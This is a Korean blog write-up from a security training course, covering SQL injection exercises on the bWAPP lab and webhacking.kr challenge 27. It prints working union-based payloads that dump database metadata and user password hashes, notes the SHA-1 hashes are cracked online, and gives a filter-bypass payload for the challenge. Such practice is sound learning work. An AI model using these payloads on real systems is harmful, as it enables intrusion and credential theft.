yon11b

[SK 쉴더스 루키즈] SQL Injection 실습 bWAPP (GET/Search, POST/Select 문제, webhacking.kr 27번 write up) 본문

보안/SK 쉴더스 루키즈

[SK 쉴더스 루키즈] SQL Injection 실습 bWAPP (GET/Search, POST/Select 문제, webhacking.kr 27번 write up)

yon11b 2026. 5. 7. 00:56
반응형

bWAPP: SQL Injection (GET/Search) 문제

1. 취약점 확인

2. union으로 컬럼 개수 확인하기

3. 중요정보들 출력하기

4. 계정 pw 정보 알아내서 복호화하기

 

1. 취약점 확인

'을 입력하면 구문 에러가 나는 것을 확인할 수 있다.

 

2. union으로 컬럼 개수 확인하기

' union select 1,2,3,4,5,6,7 #

 

 

 

3. 중요정보들 출력하기

1. 기본 정보 출력

-1234' union select 1,database(),user(),@@version,@@datadir,6,7 #

 

예상되는 최종 SQL 결과

select * from movies where movie = '-1234' union select 1,database(),user(),@@version,@@datadir,6,7 #

 

movie 이름이 -1234 이런 건 없으니까 첫번째 select 문에 대한 값은 없다.

즉, 두번째 select 문에 대한 결과만 출력하게 되어 깔끔하게 볼 수 있다.

 

 

2. 보통 SQL Injection에서는 information_schema를 본다.

 

여기에 모든 db, table에 대한 정보들이 있기 때문이다.

-1234' union select 1,table_schema,table_name,4,5,6,7 from information_schema.tables #

users 테이블이 탐난다. 아마 저기에 계정 정보가 있을듯?

 

 

users 테이블을 까보자.

-1234' union select 1,column_name,table_name,4,table_schema,6,7 from information_schema.columns #

 

 

4. 계정 pw 정보 알아내서 복호화하기

-1234' union select 1,login,password,email,secret,6,7 from bWAPP.users #

 

password가 단순하다.

sha1으로 암호화되어있다.

 

 

SHA-1 복호화 사이트에서 복호화를 해준다.

https://10015.io/tools/sha1-encrypt-decrypt

비밀번호 알아내기 성공!

 

bWAPP: SQL Injection (POST/Select) 문제

 

post이기 때문에 중간에 burp suite로 잡아서 구문을 수정해주어야 한다.

좌하단 movie=1 부분에 union select문 추가

 

Webhacking.kr 27번 문제

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
  if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
  $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
  if($r['id']=="guest") echo("guest");
  if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>

 

#, select, 공백, = 등은 막고 있다. -> exit('no hack')

 

우회하는 방법

1. 공백 우회 → 탭(%09), 개행(%0a), /**/ 등 사용 가능. 여기서는 %0a가 무난

2. = 우회 → like, in, <> 부정, </> 등으로 대체 가능. like가 가장 깔끔

 

 

주소창에 직접 입력해준다.

?no=0%29or%0aid%0alike%0a%27admin%27%3b%00

 

 

최종 SQL 구문으로는 이렇게 들어갈 것으로 예상된다.

select id from chall27 where id='guest' and no=(0)or
id
like
'admin';\0)

 

 

 

 

 

728x90